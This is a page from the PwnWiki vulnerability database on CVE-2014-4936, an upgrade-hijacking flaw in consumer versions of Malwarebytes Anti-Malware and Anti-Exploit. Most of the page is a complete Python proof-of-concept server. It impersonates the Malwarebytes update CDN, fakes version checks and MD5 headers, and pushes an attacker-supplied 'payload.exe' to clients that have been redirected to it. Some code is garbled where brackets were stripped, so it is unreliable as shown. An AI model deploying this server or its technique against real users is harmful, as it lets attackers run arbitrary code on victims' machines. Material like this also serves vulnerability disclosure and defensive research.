PWNWIK.COM==免费、自由、人人可编辑的漏洞库
,
INFO
The upgrade functionality in Malwarebytes Anti-Malware (MBAM) consumer before 2.0.3 and Malwarebytes Anti-Exploit (MBAE) consumer 1.04.1.1012 and earlier allow man-in-the-middle attackers to execute arbitrary code by spoofing the update server and uploading an executable.
POC
#!/usr/bin/env python """ Created by Yonathan Klijnsma http://blog.0x3a.com/ Tweets by ydklijnsma Malwarebytes Anti-Malware and Anti-Exploit upgrade hijacking vulnerability Note: Only the consumer versions of these products are affected, the business versions of these products are not affected as they do not check for upgrades against the Malwarebytes CDN. Assigned CVE: CVE-2014-4936 Official CVE Description: Malwarebytes Anti-Malware in consumer version 2.0.2 and earlier and Malwarebytes Anti-Exploit in consumer version 1.03 and earlier allow attackers to execute arbitrary code due to program upgrade hijacking. Corporate versions are not affected. Malwarebytes Anti-Malware: - Vulnerability discovered: June 18th 2014 - Vulnerability reported: July 16th 2014 - Vulnerability fixed in version 2.0.3 released on October 3rd 2014 Malwarebytes Anti-Exploit: - Vulnerablity discovered: August 19th 2014 - Vulnerability reported: August 21st 2014 - Vulnerability fixed in version 1.04.1.1012 released on September 5th 2014 This update server works for both products. Redirect DNS towards this host for 'data-cdn.mbamupdates.com' and any subdomains of this. Put a payload in the same dir as this script and call it 'payload.exe'. This payload will be send to the clients when they ask for updates. """ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from datetime import datetime, timedelta from md5 import md5 import urlparse import base64 import sys import re PORT_NUMBER = 80 UA_PROG_VER_REGEXP = re.compile('base:(\d+\.\d+\.\d+\.\d+)') MBAM_VERSION_DOWNLOAD_PATH = '' MBAE_VERSION_DOWNLOAD_PATH = '' MBAE_FORCE_UPDATE_VERSION = '9.99.9.9999' PAYLOAD_PATH = './payload.exe' class mbamCDNHandler(BaseHTTPRequestHandler): def mbae_program_check(self): global MBAE_VERSION_DOWNLOAD_PATH global MBAE_FORCE_UPDATE_VERSION # Set the version download path so we reconize the URI when the client comes back MBAE_VERSION_DOWNLOAD_PATH = '/v2/mbae/consumer/data/mbae-setup-' + MBAE_FORCE_UPDATE_VERSION + '.exe' date = datetime.now() date_exp = date + timedelta(hours=1) self.send_response(200) # Not all headers are needed but we'll do it anyway. self.send_header('Accept-Ranges', 'bytes') self.send_header('Cache-Control', 'max-age=300') self.send_header('Content-Type', 'application/octet-stream') self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Etag', '"0-0000000000000"') self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Server', 'ECAcc (ams/48C9)') self.send_header('Content-Length', str(len(MBAE_FORCE_UPDATE_VERSION))) self.send_header('Connection', 'close') self.end_headers() self.wfile.write(MBAE_FORCE_UPDATE_VERSION) print '+ MBAE Client program version check, enforced update to version {}'.format(MBAE_FORCE_UPDATE_VERSION) def mbae_program_update(self): global PAYLOAD_PATH payload_data = open(PAYLOAD_PATH, 'rb').read() date = datetime.now() date_exp = date + timedelta(hours=1) self.send_response(200) # Not all headers are needed but we'll do it anyway. self.send_header('Accept-Ranges', 'bytes') self.send_header('Cache-Control', 'max-age=300') self.send_header('Content-Type', 'application/x-msdos-program') self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Etag', '"000000-00000000000000"') self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Server', 'ECAcc (dfw/2794)') self.send_header('X-Cache', 'HIT') self.send_header('Content-Length', str(len(payload_data))) self.end_headers() # Payload data goes into the response plain self.wfile.write(payload_data) print '+ MBAE Client payload download.' def mbam_program_check(self): global MBAM_VERSION_DOWNLOAD_PATH # Get a version number higher than the current (to force the client to download an update) ua = self.headers'User-Agent' m = re.search(UA_PROG_VER_REGEXP, ua) if(m == None): self.send_response(500) return # Set the version download path so we recognize the URI when the client comes back version_response = m.group(0)5: version_response = str(int(version_response0) + 1) + version_response1: MBAM_VERSION_DOWNLOAD_PATH = '/v0/program/data/mbam-setup-' + version_response + '.exe' # We need to put a hash in the response headers vhash = md5() vhash.update(version_response) date = datetime.now() date_exp = date + timedelta(hours=1) self.send_response(200) # Not all headers are needed but we'll do it anyway, important one is the MD5 self.send_header('Accept-Ranges', 'bytes') self.send_header('Cache-Control', 'max-age=300') self.send_header('Content-MD5', base64.b64encode(vhash.hexdigest())) self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Etag', '"0-0000000000000"') self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Server', 'ECAcc (ams/4890)') self.send_header('x-admin', 'tedivm was here.') self.send_header('X-Cache', 'HIT') self.send_header('x-shameless-plug', 'Looking for a dev job? Send your resume to email protected') self.send_header('Content-Length', str(len(version_response))) self.send_header('Connection', 'close') self.end_headers() self.wfile.write(version_response) print '+ MBAM Client program version check: Client version {}, enforced update version {}'.format(m.group(0)5:, version_response) def mbam_program_update(self): global PAYLOAD_PATH payload_data = open(PAYLOAD_PATH, 'rb').read() vhash = md5() vhash.update(payload_data) date = datetime.now() date_exp = date + timedelta(hours=1) self.send_response(200) # Not all headers are needed but we'll do it anyway, important one is the MD5 self.send_header('Accept-Ranges', 'bytes') self.send_header('Cache-Control', 'max-age=300') self.send_header('Content-MD5', base64.b64encode(vhash.hexdigest())) self.send_header('Content-Type', 'application/x-msdos-program') self.send_header('Date', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Etag', '"000000-00000000000000"') self.send_header('Expires', date_exp.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Last-Modified', date.strftime('%a, %d %b %Y %H:%M:%S %Z')) self.send_header('Server', 'ECAcc (dfw/27A5)') self.send_header('x-admin', 'tedivm was here.') self.send_header('X-Cache', 'HIT') self.send_header('x-shameless-plug', 'Looking for a dev job? Send your resume to email protected') self.send_header('Content-Length', str(len(payload_data))) self.send_header('Connection', 'close') self.end_headers() # Payload data goes into the response plain self.wfile.write(payload_data) print '+ MBAM Client payload download.' def do_GET(self): if self.path == "/v0/program/mbam.check.program": # MBAM update check self.mbam_program_check() elif self.path =="/v2/mbae/consumer/version.chk": # MBAE update check self.mbae_program_check() elif self.path == MBAM_VERSION_DOWNLOAD_PATH: # MBAM update retrieval self.mbam_program_update() elif self.path == MBAE_VERSION_DOWNLOAD_PATH: # MBAE update retrieval self.mbae_program_update() else: # Any other requests we just reply 200 OK, it doesn't matter for the client if the actual reply is empty. print '+ Attempt for URI: {}'.format(self.path) self.send_response(200) def main(): try: server = HTTPServer(('', PORT_NUMBER), mbamCDNHandler) print 'Started Malwarebytes CDN simulator.' server.serve_forever() except KeyboardInterrupt: print '^C received, shutting down the web server' server.socket.close() if __name__ == "__main__": sys.exit(main())
免费、自由、人人可编辑的漏洞库--PwnWiki.com